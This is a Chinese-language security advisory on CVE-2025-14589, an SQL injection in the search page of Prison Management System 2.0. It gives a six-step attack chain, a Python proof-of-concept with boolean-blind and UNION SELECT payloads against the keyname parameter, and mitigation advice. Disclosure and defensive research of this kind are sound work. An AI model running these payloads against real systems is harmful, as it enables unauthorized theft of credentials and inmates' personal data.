IPBUF安全漏洞报告
English
CVE-2025-14589 CVSS 6.3 中危

CVE-2025-14589 Prison Management System SQL注入漏洞

披露日期: 2025-12-13

漏洞信息

漏洞编号
CVE-2025-14589
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Prison Management System 2.0

相关标签

SQL注入Prison Management SystemCVE-2025-14589Web应用安全代码注入远程攻击中危漏洞

漏洞概述

CVE-2025-14589是code-projects开源项目Prison Management System 2.0中发现的一个中等严重性安全漏洞。该漏洞存在于/admin/search.php文件中的搜索功能,由于对用户输入的keyname参数缺乏充分的输入验证和SQL语句参数化处理,攻击者可以通过构造恶意SQL语句片段实现SQL注入攻击。成功利用此漏洞的攻击者可以在目标系统上窃取敏感数据库信息,包括用户凭据、囚犯个人信息、监狱管理数据等。攻击复杂度较低,且无需高权限即可实施攻击,CVSS评分6.3属于中等严重级别。该漏洞已于2025年12月13日公开披露,漏洞利用代码已在互联网公开,强烈建议管理员立即采取防护措施。

技术细节

该SQL注入漏洞位于Prison Management System 2.0的/admin/search.php文件中的搜索处理逻辑。漏洞的根本原因是程序在处理用户提交的keyname参数时,直接将该参数拼接到SQL查询语句中而未进行充分的输入过滤或使用参数化查询。当用户访问搜索功能并提交包含SQL特殊字符的keyname参数时,这些字符会被数据库服务器解释为SQL语句的一部分而非普通字符串数据。攻击者可以利用UNION SELECT、布尔盲注、时间盲注等技术从数据库中提取敏感信息。由于CVSS向量显示攻击复杂度低(AC:L)且不需要高权限用户即可发起攻击,任何能够访问搜索功能的远程用户都可能成为潜在攻击者。攻击者可以先通过简单的布尔型注入测试确认漏洞存在,然后逐步提取数据库结构、用户名、密码哈希等敏感信息。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站使用Prison Management System 2.0,并定位到/admin/search.php搜索功能页面
STEP 2
步骤2
攻击者对keyname参数进行SQL注入测试,使用单引号和常见SQL注入payload探测漏洞
STEP 3
步骤3
通过布尔盲注或UNION注入技术验证漏洞存在,确认可注入后开始数据提取
STEP 4
步骤4
利用UNION SELECT语句提取数据库版本信息、表结构、字段名等元数据
STEP 5
步骤5
逐步提取敏感数据,包括管理员账号密码哈希、囚犯个人信息、监狱记录等
STEP 6
步骤6
利用获取的凭据进行横向移动或进一步攻击,可能导致系统完全沦陷

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-14589 SQL Injection PoC for Prison Management System 2.0 Target: /admin/search.php?keyname parameter """ import requests import sys TARGET_URL = "http://target-host/admin/search.php" def test_injection(): """Test basic SQL injection vulnerability""" print("[*] Testing CVE-2025-14589 SQL Injection...") # Boolean-based blind injection test payload_true = "test' AND 1=1 ---" payload_false = "test' AND 1=2 ---" try: # Test TRUE condition params = {'keyname': payload_true} resp_true = requests.get(TARGET_URL, params=params, timeout=10) # Test FALSE condition params = {'keyname': payload_false} resp_false = requests.get(TARGET_URL, params=params, timeout=10) # If responses differ, vulnerability exists if resp_true.status_code != resp_false.status_code or len(resp_true.text) != len(resp_false.text): print("[+] Vulnerability confirmed! SQL injection is possible.") return True else: print("[-] Could not confirm vulnerability.") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False def extract_db_version(): """Extract database version using UNION-based injection""" print("[*] Attempting to extract database version...") payload = "test' UNION SELECT NULL,version(),NULL,NULL,NULL ---" try: params = {'keyname': payload} resp = requests.get(TARGET_URL, params=params, timeout=10) if '5.' in resp.text or '8.' in resp.text: print(f"[+] Database version extracted successfully") except requests.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] test_injection() extract_db_version()

影响范围

Prison Management System 2.0

防御指南

临时缓解措施
临时缓解措施:在Web应用防火墙中配置规则拦截包含SQL特殊字符(如单引号、双引号、分号、UNION等)的请求;限制/admin/search.php的访问权限,仅允许授权用户访问;实施请求速率限制防止自动化注入攻击。建议尽快升级到官方发布的安全补丁版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表